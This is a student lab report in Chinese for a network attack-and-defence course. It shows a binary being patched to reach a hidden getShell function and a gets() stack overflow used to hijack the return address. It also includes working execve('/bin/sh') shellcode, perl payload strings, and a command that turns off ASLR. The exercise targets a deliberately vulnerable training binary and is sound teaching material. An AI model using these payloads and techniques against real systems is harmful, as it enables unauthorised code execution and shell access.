20252801 2025-2026-2 《网络攻防实践》实践九报告
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入 的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
具体实践内容
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实践过程
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
按照实验要求修改文件名为学号,kali虚拟机主机名为自己姓名

重命名文件

使用objdump -d pwn20252801 | more对该文件进行反汇编

按回车往下找可以找到getShell、foo和main函数,main函数执行了调用foo函数的操作。
漏洞点:foo 里的 gets() 函数导致栈溢出
攻击目标:利用栈溢出覆盖foo的返回地址,让程序执行完foo后,不回到main,而是跳转到getShell函数,从而拿到Shell。
确定getShell地址:0x0804847d

输入 vim pwn20252801 对文件进行修改

打开发现乱码了,需要手动输入::%!xxd看到如下结果:

修改 call 指令的偏移量,让函数返回时不再回到 main,而是直接跳去 getShell 函数。找到需要修改的地方,将d7 改为 c3(按i进入编辑)。按ESC,输入:%!xxd -r 还原为原格式后再:wq保存退出。



恢复再次把pwn20252801这个程序的汇编代码反汇编出来,发现确实已经修改。

先执行chmod u+x pwn20231905授予权限,然后运行修改后的文件pwn20231905,发现输出是一个shell,程序的输出改为了getShell函数的功能

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
注意:先要还原原文件pwn20252801(当然可以直接删掉重新下载一个新的,rename即可)
使用命令查看之前备份的文件格式pwn20252801,objdump -d pwn20252801。其中的foo函数,功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但并未检查输入的范围易存在缓冲区溢出,有BOF漏洞。(参考最开始的图,此处略过)
使用gdb工具调试程序,先需要安装gdb,一直选择yes即可安装。gdb pwn20252801

输入info r查看寄存器信息,发现EIP中的值为0x74747474。对照ascii表可知为“74747474”即输入字符串的最后四个字符tttt
目标函数getShell的地址为804847d,目标函数getShell的地址为804847d,构建输入字符串为
ttttttttttsssssssssssccccccccccc\x7d\x84\x04\x08\x0a,然后输入perl -e ‘print “ttttttttttsssssssssssccccccccccc\x7d\x84\x04\x08\x0a”’ > 20252801,将其生成十六进制字符串文件,并输入 xxd 20252801 可以看到输出

执行(cat 20252801; cat) | ./pwn20252801,将其作为pwn20252801的输入,程序输出被修改为getShell函数的功能

2.3 注入一个自己制作的shellcode并运行这段shellcode
安装工具execstack_0.0.20131005-1.1_amd64.deb,先下载再解压。
由于不能直接一步到位(apt install),所以参考下面的办法:(如果我的指令不行,请参考https://www.cnblogs.com/tangxinci/p/19947339)
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

设置pwn20252801程序堆栈可执行,并进一步查询是否设置成功
execstack -s pwn20252804 execstack -q pwn20252804

输入more /proc/sys/kernel/randomize_va_space+echo 0 | sudo tee /proc/sys/kernel/randomize_va_space关闭地址随机化

使用输出重定向将perl生成的字符串存储到input_20252801文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20252801

文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20252804进程号为28681
终端1
(cat input_20252804;cat) | ./pwn20252804
终端2
ps -ef | grep pwn20252804
再开一个终端对pwn20252801文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae
gdb pwn20252801 attach 28681 disassemble foo break *0x080484ae

终端1按回车后,再终端2输入c 继续运行。查看栈顶指针所在的位置为0xffffcf6c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcf6c + 4 = 0xffffcf70,是0xffffcf70。
info r esp``x/16x 0xffffcf6c
退出gbd调试,重新构造 input_20252801文件。并输入常见指令测试是否拿到shell,成功!
perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20252801 (cat input_20252801;cat) | ./pwn20252801

3.学习中遇到的问题及解决
- 问题1:运行pwn20252801 时发现无权限
问题1解决方案:先输入执行chmod u+x即可 - 问题2:实践内容二中,执行(cat 20252801; cat) | ./pwn1905后,仍然有段错误(segmentation fault)
问题2解决方案:检查发现20231905中输入字符串多了一个字符 - 问题3:一开始直接使用指令sudo apt install execstack安装execstack失败
问题3解决方案:参考https://www.cnblogs.com/tangxinci/p/19947339 ,询问ai给出建议,要使用Ubuntu的仓库和镜像,可以快速下载wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
4.实践总结
本次实验我掌握了反汇编、二进制修改、栈缓冲区溢出利用、shellcode 注入执行等核心技能,理解了程序执行流程劫持与 Linux 二进制漏洞利用的基础原理。回顾了汇编语言、十六进制计算、gdb调试相关知识点。

浙公网安备 33010602011771号